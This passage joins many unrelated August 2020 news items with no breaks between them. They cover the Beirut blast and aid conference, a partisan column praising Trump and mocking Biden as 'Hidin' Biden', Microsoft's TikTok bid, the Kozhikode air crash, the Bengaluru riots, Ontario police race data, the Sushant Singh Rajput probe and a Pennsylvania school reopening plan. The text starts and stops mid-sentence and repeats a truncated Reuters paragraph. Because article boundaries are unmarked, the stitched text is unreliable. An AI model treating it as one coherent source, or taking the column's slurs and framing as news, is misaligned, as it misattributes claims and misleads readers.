group, which along with its allies dominates the government and parliament. Iranian foreign ministry spokesman Abbas Mousavi said it is natural for people to be frustrated. But he said it would be unacceptable if some individuals, groups and foreign countries use the incident as a pretext for their purposes and intentions. Israeli Defense Minister Benny Gantz drew a line Monday between the blast and claims that Hezbollah stores its rockets and weapons deep inside civilian areas. While he did not accuse Hezbollah and its arms of being linked to the blast, Gantz said villages and towns across Lebanon were packed with Hezbollah arms that, if set off - whether by Israeli operations or by accident - would destroy homes. He said Hezbollah was Lebanons biggest problem. (FRANCE 24 with AP) On Monday, immediately after President Trump started his press briefing, Secret Service agents suddenly appeared and hustled him away. It turned out that there had been a shooting so near the White House that the Secret Service believed the president to be at risk. After the danger had passed, President Trump went right back to the press conference, dismissing even the possibility that he might be shaken. By comparison, his opponent in the presidential race refuses to come out of the basement even to accept his nomination. As every parent knows, if something bad happens, the last thing you want to do is panic in front of young children. After all, they are looking to you for emotional guidance. The same is true for a nation's leader. As our children do with us, we look to him (or her) to know whether we should be worried. Additionally, when there's a crisis, we grade a leader's performance can this leader handle the heat? When the going gets tough and scary, will this person be there for the nation? Will the leader show grace under pressure? We've seen examples of that grace under pressure over the years, especially from Ronald Reagan. In 1981, while John Hinckley thankfully failed to assassinate Reagan, he did give Reagan a collapsed lung and a bullet less than an inch from his heart. Arriving at the hospital, Reagan ignored his extreme pain and smiled as he walked into the emergency room, only to collapse once the doors closed behind him. On the way to surgery, Reagan quipped to Nancy, "Honey, I forgot to duck," and, while being intubated, he wrote a note to the nurse: "All in all, I'd rather be in Philadelphia." W.C. Fields, who originated the line as a mock epitaph for himself, would have been honored to hear that. Drawing on amazing reserves, when Reagan saw the assembled medical staff, he joked, "I hope you are all Republicans." Now, that is grace under pressure. That wasn't Reagan's only demonstration of courage and calm. While he was speaking in Berlin, a balloon popped so loudly that it sounded like gunfire. Reagan, who could have been excused for responding with fear after almost dying just six years before, without missing a beat, said, "Missed me." He then went right back to his speech: Thankfully, Trump was not hurt today, but, to the extent there was gunfire right next to the White House, he had every reason to be worried. After all, what happened was serious enough that the Secret Service believed it necessary to remove Trump from the press room and bring him to the Oval Office's greater safety. This video shows the moment the Secret Service hustled Trump out of the briefing. When the agent softly says to him, "Shots have been fired," Trump calmly and quietly walked out: An apparent Secret Service agent just interrupted Trump's press conference and escorted him out of the briefing room. pic.twitter.com/m4xSq37h1Q The Recount (@therecount) August 10, 2020 Around eight minutes later, President Trump returned to the press room. He matter-of-factly told the assembled reporters, "There was a shooting outside of the White House, and it seems to be very well under control." He thanked the Secret Service and added, "It seems that the person was shot by Secret Service." Trump says there was "a shooting" outside the White House. He has returned to the briefing room. "Law enforcement shot someone," he says. pic.twitter.com/wWuboOxQJo The Recount (@therecount) August 10, 2020 After providing a few more details, Trump opened the floor for questions. A reporter asked, "Are you rattled by this at all, Mr. President?" Trump's response was simple. "I don't know. Do I seem rattled?" In fact, he didn't seem rattled. Trump acknowledged that the world is a dangerous place and then quickly got back to business. It's worth contemplating Trump's aplomb and contrasting it with Hidin' Biden, who's left his basement hidey-hole only a handful of times over the last several months. In mid-June, Biden's campaign said he would travel to Milwaukee to accept the presidential nomination in person. Last week, though, the campaign announced that Biden would not go to Milwaukee because of Wuhan virus fears. Biden is not showing grace under pressure, and he's certainly not showing that he has any leadership potential. It was bad enough when Obama announced that his administration would lead from behind. At least he was out there walking at the back of the parade. Biden, by contrast, is not even in the parade. Instead, he's doing the political equivalent of crouching in a corner, sucking his thumb, and waiting for the danger to pass. Any voters who are still undecided should think long and hard about which man is best able to lead America through dangerous times. Image: Screen grab from C-SPAN. By Echo Wang and Paresh Dave (Reuters) - Microsoft Corp's bid to carve out parts of TikTok from its Chinese owner ByteDance will be a technically complex endeavor that could test the patience of President Donald Trump's administration, according to sources familiar with the setup. Trump has given Microsoft until Sept By Echo Wang and Paresh Dave (Reuters) - Microsoft Corp's bid to carve out parts of TikTok from its Chinese owner ByteDance will be a technically complex endeavor that could test the patience of President Donald Trump's administration, according to sources familiar with the setup. Trump has given Microsoft until Sept. 15 to put together a blueprint for an acquisition that safeguards the personal data of Americans stored on the short-video app, and he has issued an order to ban it if there is no deal by then. Microsoft is negotiating a transition period that will give it time to ringfence TikTok technologically from ByteDance after they agree to a deal, Reuters reported on Aug. 2. The clean break that Trump and lawmakers envision could take a year or more, some of the sources said. TikTok is functionally and technically similar to ByteDance-owned Douyin, which is available only in China, and shares technical resources with it and other ByteDance-owned properties, people familiar with the matter said. ByteDance started working on their technological separation several months ago amid scrutiny from the U.S. government, a source familiar with the process told Reuters. It began planning for a split as part of a strategy to shift its power from China, Reuters has reported. While the code for the app, which determines the look and feel of TikTok, has been separated from Douyin, the server code is still partially shared across other ByteDance products, the source said. The server code provides basic functionality of the apps such as data storage, algorithms for moderating and recommending content and the management of user profiles. To ensure uninterrupted TikTok service, Microsoft would likely need to rely on ByteDances code while it reviews and revises the code, and moves to a new back-end infrastructure to serve users, according to cyber security expert Ryan Speers at River Loop Security, which provides services including cybersecurity due diligence for deals. Any continuing technical or operational reliance of the U.S. business on the Chinese company after the sale generally would have been unacceptable to the Committee on Foreign Investment in the United States (CFIUS), said Aimen Mir, former Deputy Assistant Secretary of the Treasury responsible for CFIUS, now a partner at the law firm Freshfields Bruckhaus Deringer. In the past, CFIUS has required adoption of increased protections pending a sale, including separation of the U.S. business from foreign sellers to the furthest extent possible, he said. Another challenge Microsoft faces is how it will transfer what is viewed as TikTok's secret sauce, the recommendation engine that keeps users glued to their screens. This engine, or algorithm, powers TikTok's "For You" page, which recommends the next video to watch based on an analysis of user behavior. TikTok uses recommendation algorithms that are independent from Douyin, according to two sources familiar with the matter. But what makes it tick is the content and user information that is fed into the algorithm. "Algorithms are not worth anything without the data," said Jim DuBois, a former Chief Information Officer at Microsoft. DuBois is a venture adviser at Ignition Partners. "Segmenting the data for those countries is a significant task." Microsoft's negotiations for the acquisition of the U.S., Canada, New Zealand and Australia operations of TikTok complicates a separation. Not only would TikTok have to be separated from ByteDance, it would have to be broken up from TikTok's other regions. This adds to the technical challenges because of the amount of data involved. "The biggest part is separating the user data - both content and data about users," DuBois said, noting hard disks of data would likely need to be transferred between ByteDance and Microsoft. TikTok had said its user data was stored in the U.S., with a backup in Singapore, separate from the rest of the company. The proposed timeline makes consummating a deal very challenging, said Karen C. Hermann, a deal lawyer at Venable LLP: "It can sometimes take months and months just to identify the business needs of the divested business, what IP and other assets it uses exclusively, and what assets and IP it shares with other businesses in the company group." (Reporting by Echo Wang in New York and Paresh Dave in San Francisco; additional reporting by Katie Paul in San Francisco; editing by Kenneth Li and Grant McCool) This story has not been edited by Firstpost staff and is generated by auto-feed. EMPLOYERS will be paid up to 3,000 for hiring and retaining apprentices under new plans to tackle the unemployment crisis caused by Covid-19. Higher Education Minister Simon Harris has announced details of the Apprenticeship Incentivisation Scheme, which will see the Government pay businesses and employers for taking on apprentices. Under the plans, employers who participate in the scheme are entitled to claim a 3,000 incentive payment for each new apprentice registered between March and the end of the year. This will come in the form of an upfront payment of 2,000 to a participating employer with a further 1,000 paid after 12 months. Over 18,000 people are currently undertaking an apprenticeship across a wide range of occupations, from electrical, construction and engineering roles to healthcare, information technology and financial services, Mr Harris said. Our ambition is to see that number grow, and the Government provided funding for this new incentive for employers in the July stimulus package. Mr Harris said he would encourage every employer to consider using the scheme. Its a win-win - help develop an apprentices potential while you develop your company, he said. The States unemployment rate stands at 16.7pc including those in receipt of the Pandemic Unemployment Payment, according to the most recent figures released by the Central Statistics Office. Mr Harris was speaking ahead of the announcement of the winners of the Generation Apprenticeship competition, which challenges teams of apprentices to design and produce a 6ft, three-dimensional letter A using the materials, equipment and/or tools of their industry. Mr Harris added: These winning teams demonstrate all that is good about apprenticeship and the key part it is going to play in Irelands recovery and our countrys future. It is a really exciting option for people of different ages, genders and backgrounds, career changers and school leavers, to forge brilliant careers for themselves. Yet the group of New Trier graduates, in a Monday letter to school officials, wrote: As alumni, we attribute the foundation of our intellect, our service, and our integrity as American citizens to the lessons these educators instilled in us as youth. While we agree that in-person instruction should be the eventual goal for the township, demanding our teachers put themselves, their families, and their own communities at risk cries out as an injustice that flies in the face of New Triers own motto. To do so is entirely beneath the stature and dignity of our storied alma mater. New Book Helps Pastors Navigate the Digital Age: 'Maximize Your Influence' by Phil Cooke In response to COVID-19 which forced churches online, Phil Cooke creates a resource to help pastors maneuver the new normal. "Maximize Your Influence How to Make Digital Media Work for Your Church, Your Ministry, and You" releases September 1, 2020. NEWS PROVIDED BY Cooke Media Group Aug. 11, 2020 LOS ANGELS, Aug. 11, 2020 /Standard Newswire/ -- The shutdowns of COVID-19 left many churches struggling to convert their ministries online. With decades of working with pastors and ministry leaders, Phil Cooke's newest book meets the need of the hour to help leaders speak the language of the digital age. "Maximize Your Influence How to Make Digital Media Work for Your Church, Your Ministry and You" published by Cooke Media Group is available for pre-order at https://influencematters.com. "The digital age has changed everything we know about engaging this culture with the gospel message," states Phil Cooke. "The need to share our message never changes, but how we share it does." Written as a reference guide, "Maximize Your Influence" helps leaders navigate the multiple aspects of digital media including livestreaming, social media, video and television production, and podcasting. It extends to branding, book publishing, crisis management and more. Bobby Gruenewald, Pastor of Innovation at Life.Church and founder of the YouVersion Bible app refers to Cooke as "one of the best voices in the field of digital media." Ben Field, Head of Film & Television for Hillsong Church endorses the book. "If there ever was a manual for helping Christian leaders navigate the media... this is it!" The book encourages pastors of 20 to 20,000-member congregations to embrace the digital world. "It's not about being famous. It's about saying something that matters, and nothing matters more than the gospel." -- Phil Cooke Find out more about "Maximize Your Influence How to Make Digital Media Work for Your Church, Your Ministry and You" at https://influencematters.com. About Phil Cooke, Ph.D According to former CNN journalist Paula Zahn, "Phil is rare a working producer in Hollywood with a Ph.D in Theology." Cooke has filmed in more than 60 countries around the world and helped some of the world's largest Christian and nonprofit organizations use media to tell their story. He's appeared on NBC, CNN, Fox News and more, and his work has been profiled in The New York Times, The Los Angeles Times and The Wall Street Journal. https://philcooke.com. SOURCE Cooke Media Group CONTACT: Victoria Hansen, 818-303-2424, victoria@cookemediagroup.com Related Links https://philcooke.com https://influencematters.com Wing Commander Deepak Sathe (Retd), pilot-in-command of the Express plane that crashed in Kerala last week, was cremated here on Tuesday with state honours. Hundreds of mourners lined up the road as the funeral procession started from his residence in Chandivli and concluded at Vikhroli's Tagorenagar crematorium, where the last rites were performed. Earlier in the day, Government decided to accord a state funeral to the pilot, and said his life shall inspire young pilots. The flight from Dubai with 190 people, including a six-member crew, overshot the tabletop runway during landing at the Kozhikode airport in heavy rain on Friday, killing 18 people, including both the pilots. Sathe's body was flown here on Sunday and was kept at the facility near Terminal 2 of the Chhatrapati Shivaji international airport for some time before being taken to Bhabha Hospital in Bandra. On Tuesday morning, the body was brought from the hospital to the family home in Chandivli. Residents in the housing complex paid tributes to the pilot. Some of them were seen saluting him from their balconies. The pilot's father, Colonel Vasant Sathe (Retd), 87 and mother Neela, 83, were present at the Chandivli residence. They reside in Nagpur and reached Mumbai on Monday. The pilot's US-based elder son Shantanu also reached Mumbai on Monday for the last rites. He, along with his mother Sushma and younger brother Dhananjay, were in tears as the last rites were performed at the crematorium shortly after noon. A wreath was placed on behalf of the Indian Air Force, where Sathe was a test pilot before joining Pilots from different airlines, cabin crew and others in the aviation sector participated in the final journey. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Bengaluru: 3 dead in violent clash over Facebook post, 110 arrested India oi-Deepika S Bengaluru, Aug 12: Three persons were killed in Bengaluru after police opened fire on Tuesday night. The firing took place as violence broke out after a youth alleged posted derogatory content inciting hatred on Facebook. Bengaluru violence over Facebook post | Stone pelting & arson in city | Oneindia News The members of the minority community pelted stone at the residence of Congress MLA Akhanda Shrinivasa Murthy. The youth said to be associated with the Congress lawmaker has been arrested. 110 people have been arrested in connection with the violence. 60 police personnel have also sustained injuries. The attackers, who went on rampage not only threw stones at the house but also demanded the arrest of the MLA and his relative. The mob comprising over 100 people also torched about 15 vehicles. Bengaluru: Section 144 imposed in city after three dead in violent clash over social media post "A Facebook post by my sister's son has gone viral. I have nothing to do with the post. The post is said to be against some particular community and I have asked the police to arrest the person who has put up the offensive post," said Srinivas Murthy. Congress MLA Srinivas Murthy's residence in Bengaluru vandalised, allegedly over an inciting social media post by his nephew. Karnataka Home Minister says, "Issue to be probed but vandalism is not the solution. Additional forces deployed. Action will be taken against miscreants." pic.twitter.com/Xa1q6SI6mG ANI (@ANI) August 11, 2020 Srinivasamurthy also released a video and appealed to the community members to not resort to violence. "I am appealing to my Muslim brethren that we should not resort to violence for the fault committed by some miscreants. There is no need to fight. We all are brothers. We will get the person punished as per law. We will also be with you. I appeal to the Muslim friends to be calm," he said in a video message. The police rushed to the spot to control the violence. The attackers later staged a protest in front of the police station demanding an FIR against the MLA. Following the incident, Congress leader and Chamrajpet MLA Zameer Ahmed Khan rushed to the spot and tried to comfort the agitated mob. "I am hopeful that police will take action against all those who are responsible for this. I also request everyone to stay calm and maintain peace in the area," Khan tweeted. Bengaluru violence: Congress condemns, CM Yediyurappa promises 'ruthless action against culprits After learning about the incident, the Bengaluru Police Commissioner Kamal Pant had rushed to the spot but his intervention too did not stop the rioters. Meanwhile, Karnataka Home Minister Basavaraj Bommai said riots and arson are against law and warned the rioters that he has given police a free hand to contain the violence. "Issue to be probed but vandalism is not the solution. Additional forces deployed. Action will be taken against miscreants," he said. by Sumon Corraya Less than 200 Catholic marriages have been celebrated in 2020, down from an annual average of 1,700 before COVID-19. Only 50 people can attend the wedding ceremony. For young couples this has a positive aspect as they save money and do not go into debt to get married. Dhaka (AsiaNews) The number of Catholic marriages in Bangladesh has dropped considerably as a result of the coronavirus pandemic. According to a source in the local Church, approximately 1,700 unions are celebrated on average each year in Bangladesh, but so far in 2020, there have been fewer than 200. The Catholic Church, following government regulations, banned large public gatherings as a security measure against COVID-19. Some 255,000 cases have been reported in the country so far, with almost 3,400 deaths. Card Patrick DRozario, Archbishop of Dhaka, ordered that a maximum of 50 people be allowed to take part in a wedding. Ranjit Gomes, a Catholic man, had to respect such a restriction for his son's recent wedding. Some 400 people had been originally invited for the ceremony, he told AsiaNews. Fr Albert Thomas Rozario, parish priest in Dharenda (Dhaka), said he celebrated only seven weddings this year. "Many young people are waiting for the end of the pandemic before getting married, he explained. For the clergyman, the coronavirus had one positive effect. Restrictions on the number of people attending the wedding party have allowed the bride and groom to reduce expenses. Before the pandemic, at least 250 people could be invited, plus musicians and DJs hired for the celebrations. As a result, many people go into heavy debt. Now young newlyweds can save money. Augustine DCreuze, a Catholic man, believes that the practice of small marriages should be maintained even when the crisis is over. "I have three children, and for their marriage I intend to organise only limited ceremonies. By Yiming Woo FORT BREGANCON, France (Reuters) - An emergency donor conference on Sunday for blast-stricken Lebanon raised pledges worth nearly 253 million euros ($298 million) for immediate humanitarian relief, the French presidency said. Those commitments would not be conditional on political or institutional reform, President Emmanuel Macron's office said. There were also pledges made for longer-term support that would depend on changes brought in by the authorities, the Elysee Palace said. World powers promised not to fail the Lebanese people as the capital, Beirut, recovers from the massive explosion that killed 158 people and destroyed swathes of the city last Tuesday. Lebanon was already mired in political and financial crisis before the blast. But foreign countries demanded transparency over how the aid is used, wary of writing blank cheques to a government viewed by its own people as deeply corrupt. Some are concerned about the influence of Iran through the Shi'ite group Hezbollah. The "assistance should be timely, sufficient and consistent with the needs of the Lebanese people ... and directly delivered to the Lebanese population, with utmost efficiency and transparency," the final communique stated. Macron, who visited Beirut on Thursday, hosted the conference by video-link and in his opening remarks urged participating nations to put aside their differences and support the Lebanese people. The international response should be coordinated by the United Nations in Lebanon, he added. The offer of assistance included support for an impartial, credible and independent inquiry into the blast. Public anger over the explosion has prompted some Lebanese to call for a revolt to topple their political leaders. "Our role is to be by their side," Macron said from his summer retreat on the French Riviera. REFORMS President Donald Trump told the conference the United States was ready to continue providing aid to help the Lebanese, the White House said. Story continues "The President called for calm in Lebanon and acknowledged the legitimate calls of peaceful protesters for transparency, reform and accountability," a White House statement said. Trump later said the United States would send additional planes loaded with medical supplies, food and water and would give substantial aid to Lebanon, though he declined to give a dollar figure. "We haven't given a number, but it will be substantial. On a humanitarian basis, we have to do it," Trump told reporters in Morristown, New Jersey. The International Monetary Fund said it was willing to redouble efforts to help Lebanon after the devastating blast, but said all of the country's institutions needed to show willingness to carry out reforms. In a statement to the conference, the IMF's managing director, Kristalina Georgieva, laid out reforms expected, including steps to restore the solvency of public finances and the soundness of the financial system, and temporary safeguards to avoid continued capital outflows. The explosion gutted entire neighbourhoods, leaving 250,000 people homeless, razing businesses and destroying critical grain supplies. Rebuilding Beirut will likely run into the billions of dollars. Economists forecast the blast could wipe up to 25% off of the country's GDP. Up to Sunday's conference there had been an array of offers of immediate humanitarian support such as rescue teams and medical supplies. In a sign of the mistrust between Beirut and donors before the blast, debt default talks between the Lebanese government and International Monetary Fund had stalled in the absence of reforms. The communique said Lebanon's partners were ready to support the country's longer-term economic recovery if leaders committed fully to the changes expected by the Lebanese. Many Lebanese say the blast, blamed on a huge store of ammonium nitrate, highlighted the negligence of a corrupt political elite. Protesters stormed government ministries in Beirut on Saturday and demonstrations erupted again on Sunday. (Reporting by Yiming Woo in Fort Bregancon and Richard Lough and Michel Rose in Paris; Additional reporting by Jeff Mason in Morristown, New Jersey; Writing by Richard Lough; Editing by Philippa Fletcher, Nick Macfie and Frances Kerry) BJP president J P Nadda on Tuesday said that the world is praising Prime Minister Narendra Modi's handling of the pandemic. Addressing the new office bearers of Assam unit of the party through video conference, Nadda said that the "bold decision" of Modi to impose the lockdown helped the country immensely in tackling the COVID-19 situation. The BJP chief said that World Health Organisation (WHO) Director General Tedros Adhanom Ghebreyesus praised Modi for his efforts to help the poor during the lockdown to contain the spread of the virus. On the works done amid the pandemic by the government, Nadda said that 1,400 dedicated COVID-19 hospitals have been set up across the country during the last four months. Besides, the country augmented its testing capacity by many folds and India's production capacity of personal protective equipment (PPE) kit is now four lakh per day which was zero in March, he added. The BJP president said that the economic package announced by Modi during the pandemic has helped millions of poor people across the country. Nadda also slammed the Congress for criticising the government's management of the pandemic. He praised the Assam government led by Chief Minister Sarbananda Sonowal for effectively handling twin problems of flood and COVID-19 simultaneously. The meeting was attended by Sonowal, Health Minister Himanta Biswa Sarma, state BJP chief Ranjeet Kumar Dass, and other state BJP leaders, including MPs and MLAs. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) A couple with 16 dogs have been slapped with a fine after their barking animals were secretly recorded more than 130 times at night. Angry neighbours in the village of Velindre, near Llandysul, west Wales, used a council noise app to covertly record the couple's rowdy pooches, which include German Shepherds and Jack Russells, after becoming incensed by the late-night barking. The secret recordings of the animals, owned by Mark and Julie Thompson, both 56, sometimes took place as late as midnight and as early as 4am in the morning. Narked neighbours also launched a petition protesting the noise - which attracted 90 signatures. The recordings sparked environmental protection chiefs at Carmenthenshire County Council to intervene. They visited couple, who last year were fined 3,000 and slapped with a noise abatement notice after repeatedly failing to keep their noisy dogs quiet at their countryside cottage. Angry neighbours in the village of Velindre, near Llandysul, west Wales, used a council noise app to covertly record the couple's rowdy pooches (pictured: where the dogs were kept) after becoming incensed by the late-night barking The couple claimed neighbours had been deliberately been provoking their dogs into barking and that the noise app was 'very sensitive'. A spokeswoman for Carmenthenshire County Council said: 'In mitigation the couple claimed that they had done everything that they could to prevent their dogs from causing a nuisance and that other people had antagonised the dogs causing them to bark. 'They also claimed the recordings included barking from other people's dogs. 'They also suggested that the council's recordings were very sensitive and picking up other noises from a wide area.' But the pair have now been prosecuted for a second time over the noise. This time they admitted failing to comply with a noise abatement notice at Llanelli Magistrates Court. Mr and Mrs Thompson were fined 80 each and ordered to pay 250 court costs. The recordings sparked environmental protection chiefs at Carmenthenshire County Council to intervene and speak to the couple, who last year were fined 3,000 and ordered to hush their pets after repeatedly failing to keep their noisy dogs quiet at their countryside cottage (pictured) Carmarthenshire County Councillor Philip Hughes said: 'It is very disappointing to find Mr and Mrs Thompson back before the courts just a year later after been found guilty for the same offence. 'The evidence clearly shows that there was a significant amount of continuing disturbance caused by the barking throughout the day and night and the pair failed to keep their dogs from barking under control. 'These noise levels are totally unacceptable and have caused a lot of stress for the residents for a considerable length of time. I now hope that Mr and Mrs Thompson will take the appropriate action as advised.' At a time when the film industry is debating whether outsiders get a fair chance or not, newcomer Shreya Chaudhary says that social media has made finding auditions easier. The actress, who made her web series debut with Bandish Bandits last week, said that she is lucky to have started off her career at a time when social media has made the process of casting more streamlined. Shreya says that like many other aspiring artistes, she did not know where to start. Becoming an actor did not seem like an achievable dream. I hear a lot of interviews where people say, Oh, I don't know if I would land the film or the web series. For me, I did not know if I would land an audition, because I was so unaware of anything. Where do auditions happen? How do you go about the entire process, like the introduction slate, etc? Which is why when I was younger, I never thought it was an achievable dream for me to become an actor, she said. Explaining how she managed to get her foot in the door, Shreya said, I think I was in my final year of college. There were these Facebook groups of casting companies that were putting out messages. Of course, you have to be extremely aware and cautious of how legit these casting companies were. Luckily, I had heard a lot about Mukesh Chhabras casting company. I read that he was auditioning for an ad. Most of these casting companies have a really good system once you do an intro with them or audition with them, you are in their bank of actors in a way. So that really started a relation of future auditions for me. So I was lucky in that way to even audition for these parts. And that's how I have landed every project so far, she added. She says that these casting companies are not just limited to Mumbai, they help you get a pan-India reach as well. These casting companies have also opened up offices all over India. You need to follow the right pages, the blue-ticked ones, be it on Instagram or Facebook. They're all constantly talking about the people who work with them. So all of these things really just helped me land each project of mine. So that's what I meant by streamlining, that there was just so much more awareness about these auditions that probably wasn't there till some years ago, she says. Shreyas first audition ever was an ad for Abhishek Kapoor, and she managed to bag the job. That really started my journey in enacting. I've ever since been doing workshops and projects. I did a feature film called Dear Maya. I had the good fortune of doing a short film that was written and directed by Imtiaz Ali, and was doing ads and commercials for brands. Then I landed this part in Bandish Bandits, she says. Shreya landed the lead role in the Bandish Bandits through Mukesh Chhabras Casting Bay. She plays the role of a pop star in the musical web series, which has been directed by Anand Tiwari. Bandish Bandits is streaming now on Amazon Prime Video. Key figures in two high-profile Peel police shootings this year say they welcome news that Ontarios police watchdog will soon begin collecting racial data as part of its investigations. Its a first step in acknowledging that there is a problem, said Chantelle Krupka, a Black Mississauga mother who was shot by a rookie Peel police officer outside her home on Mothers Day. We can start right now with these cases. They should not ignore them. I want them to use this data in such a way that they can start holding people more accountable, added Hassan Choudhary, the nephew of Ejaz Choudry, a 62-year-old Malton man who was shot dead by Peel police during a mental health crisis in June. We now have to use this data to keep police officers in check, he said. Ontarios Special Investigations Unit this week said it will start collecting racial data from complainants people who have been seriously injured or who allege sexual assault against an officer, or relatives of those who have died on a voluntary basis starting Oct. 1. The agency says it will also collect data from officers under investigation. The announcement comes the day after a pair of Ontario Human Rights Commission reports found Black people have been far more likely to be arrested, charged, injured and killed in interactions with Toronto police. Despite making up just 8.8 per cent of the citys population, Black Torontonians represented almost a third of a selection of charges that involved a high degree of officer discretion, and about 29 per cent of use-of-force cases investigated by the SIU. In a statement, SIU director Joseph Martino said the reports reinforce the importance of collecting race-based data. The systematic collection, analysis and public reporting of this data will do much to help the public and police better understand policing and policing oversight issues, including issues relating to systemic anti-Black and anti-Indigenous racism, he said. Peel Regional Police have come under particular scrutiny over several incidents in which its officers have injured or killed people of colour in recent months. Other recent cases include the shooting death of DAndre Campbell in April, and the death of Clive Mensah, a mentally ill man who died after he was Tasered by Peel police near his home last November. Systemic collection and reporting of this data is a fundamental first step to ending disproportionate police misconduct against Black, Indigenous, and other vulnerable communities, said Mensahs lawyer Emily Lam. Referring to the human rights commission report this week, Lam said the numbers on race and policing are disturbing, adding that without both data collection and strict accountability measures, these numbers will not change. Collecting more demographic data, including on race, was a key recommendation in the landmark 2017 Independent Police Oversight Review, led by Justice Michael Tulloch. The SIU has charged Valerie Briffa, the former Peel officer who allegedly shot Krupka, with criminal negligence causing bodily harm, assault with a weapon and careless use of a firearm over the incident. Briffa has since resigned from Peel police. The SIU continues to investigate Choudrys death. The officer accused of shooting him has refused to be interviewed by the SIU. Under the Police Services Act, a subject officer cannot be legally compelled to present themselves for an interview with the watchdog. Data always tells the story, said Sophia Brown Ramsay, executive director of the Black Community Action Network of Peel. Our community has needed this for a long time, so that we can make the proper changes that we need for people of colour. Jason Miller is a Toronto-based reporter for the Star covering crime and justice in the Peel Region. His reporting is funded by the Canadian government through its Local Journalism Initiative. Reach him on email: jasonmiller@thestar.ca or follow him on Twitter: @millermotionpic Read more about: The Enforcement Directorate (ED) has been calling people in for questioning in regards to money laundering alegations in connection with Sushant Singh Rajput's death. On Tuesday morning, they called in Sushant Singh Rajput's friend and roommate Siddharth Pithani and the late actor's business manager Shruti Modi. In the afternoon, the ED was scheduled to question Rajput's sister Meetu Singh who had arrived at the ED officer on Tuesday morning. Both Pithani and Modi had been questioned by the ED on Monday also. Their statements have been recorded under the Prevention of Money Laundering Act (PMLA). The ED had also questioned Modi last week. Modi had earlier told news channels that she was present in the Bandra flat on June 14 when Rajput had allegedly hanged himself. Pithani, on the other hand, has said that he was living with the late actor for over a year, according to the statement he had recorded with the Mumbai Police in July. On Monday, the ED had questioned actor Rhea Chakraborty who is also being probed for money laundering. The agency questioned the actor for over 9 hours. Chakraborty has been questioned for a total of 18-19 hours till now. Her father Indrajit Chakraborty and brother Showik have also been questioned. Rhea has been accused by Rajput's father of abetting his son's suicide and she had initially refused to appear before the agency citing her appeal pending before the Supreme Court that is slated to be heard on Tuesday. In the complaint, Rajput's father had stated that Rs 15 crore had been siphoned off from Rajput's bank account in the last year. Also Read: Sushant Singh Rajput death: Rhea Chakraborty approaches SC, alleges media trial Also Read: Coronavirus crisis: PM Modi holds virtual meeting with CMs of 10 states; key highlights The Bethlehem Area School Board backed a hybrid reopening of schools Monday night, the same day state education officials recommended such an approach for Lehigh Valley districts. The board approved the plan 7-2 after taking 234 parent and employee questions virtually for more than three hours. Directors Angela Sinkler and Winston Alozie voted against the reopening plan. Director Dean Donaher voted in favor with serious reservations. Sinkler, a nurse, greatly respects all of the work that went into the plan, but said shed be keeping her daughter home if she was still in the district. I lean toward not expecting other people to be in school if I cant say I would be there, Sinkler said. Questions from parents ran the gamut from how will busing work -- students must wear masks and only sit two to a seat -- to whether there will be daily, live virtual learning -- no, there wont be. The plan means about 85% of the districts 13,500 K-12 students will attend school just two days a week on assigned days. Building enrollment on any day will be capped at 50% and everyone must wear face masks. The schedule calls for no in-person learning on Monday, and classes will be divided in half alphabetically to have either in-person lessons or online classes on Tuesday/Thursday or Wednesday/Friday. I think our plan is good, board President Michael Faccinetto said. It is the best we can hope for in an impossible situation. The district is offering two different virtual options -- its existing cyber academy and the new BASD e-classroom -- for families uncomfortable sending students back to school amid the coronavirus pandemic. About 15% of families have selected online learning. Pennsylvania state education officials on Monday unveiled new guidelines for safely reopening amid the coronavirus pandemic. The guidelines align community infection rates and positive test rates to recommended school instruction models from fully in-person to all virtual learning. The Lehigh Valleys two counties have a moderate level of the virus spreading in the community. The state recommends blended learning or fully remote learning in such school districts. Our plan meets perfectly with the guidance that came out today, Faccinetto said. Only communities with low levels of community transmission -- fewer than 10 new cases per 100,000 residents over the last week -- and a positivity rate under 5% should operate fully in-person, according to the state guidelines. Such districts could also opt for a blended model. The hybrid plans allows Bethlehem to keep class size small enough that social distancing is possible in classrooms, cafeterias and hallways. The district chose to alternate in-person instruction days to ensure students dont go too long without seeing a teacher. The district will require masks the majority of the time -- even if six-feet of distance is possible -- with exceptions made for eating and breaks where age-appropriate. If a student refuses to wear a mask they wont be able to be in school, Superintendent Joseph Roy said. Just like if someone refused to wear a shirt or shoes. The BASD e-classroom is a virtual class taught by district teachers, who use the district curriculum, and offers families more flexibility. Starting Oct. 1, e-classroom students can go back to regular classes under the hybrid model or any time after with two weeks notice. Families will be able to go from hybrid learning to online learning if they become uncomfortable sending them to school, officials said Monday. The existing cyber academy relies on outside teachers and uses curriculum aligned to the district. Once enrolled, students must complete the marking period. The Bethlehem Area School District developed its hybrid plan in concert with the Bethlehem Health Department and St. Lukes University Health Network. We are doing our best to put forward what is the safest plan, Faccinetto said. A grant will allow a health department worker to be embedded in the district to assist with positive COVID-19 cases and contact tracing this school year. The city health department will handle all COVID-19 case investigation and tracing for the district, even for schools outside city limits. What happens when there is a COVID-19 case? Any time there is a presumed or positive coronavirus case in a building there will be a district-wide notification, said Kristen Wenrich, city health director. An email blast will go out naming the school, it will be posted on the district website and on social media channels, Roy said. Close contacts will all be alerted and then monitored by the health bureau. A close contact is an interaction closer than six feet for more than 15 minutes. If there is a case, it doesnt mean the entire class quarantines, Roy said. Wenrich emphasized this is why smaller class size, universal mask wearing and social distancing is so crucial. Hopefully, those strategies greatly reduce so-called close contacts, she said. We are not looking at shutting schools down based on one case, Wenrich said. There is not clear cut guidance on when to close a school, she said. The district and its health partners are working to draft a number of metrics to monitor that will help guide decision making on closing schools or expanding in-person learning, Wenrich said. I know it is frustrating to not have all that information now, Faccinetto said, adding it is a stressful situation filled with many unknowns. What should I do if my child is sick? Err on the side of caution in the beginning. If your child is sick, call their pediatrician to review symptoms, said Dr. Anita Shah, a St. Lukes pediatrician, who is the districts chief physician. We are going to have to be a bit more careful until we get a handle on it, Shah said. Look at COVID-19 symptom checklists and screen your child every morning before school, she said. Schools will not be doing temperature screening at the door before allowing students to enter. Theyre relying on parental screenings. The Centers for Disease Control and Prevention does not recommended schools do on-site screenings of students, Wenrich said. She noted most of the people who have gotten the virus locally never had a fever or did not have one at the onset of symptoms. School Director Emily Schenkel suggested the district make a checklist parents can easily pull up on their phone in the mornings. There is a checklist on the district website. What will the school day look like? On Mondays, students will learn from home and have teacher check ins. On virtual learning days, there will not be daily live lessons, something many parents asked for. Theres a variety of reasons for this. Thats not actually a best practice for virtual learning, said Jack 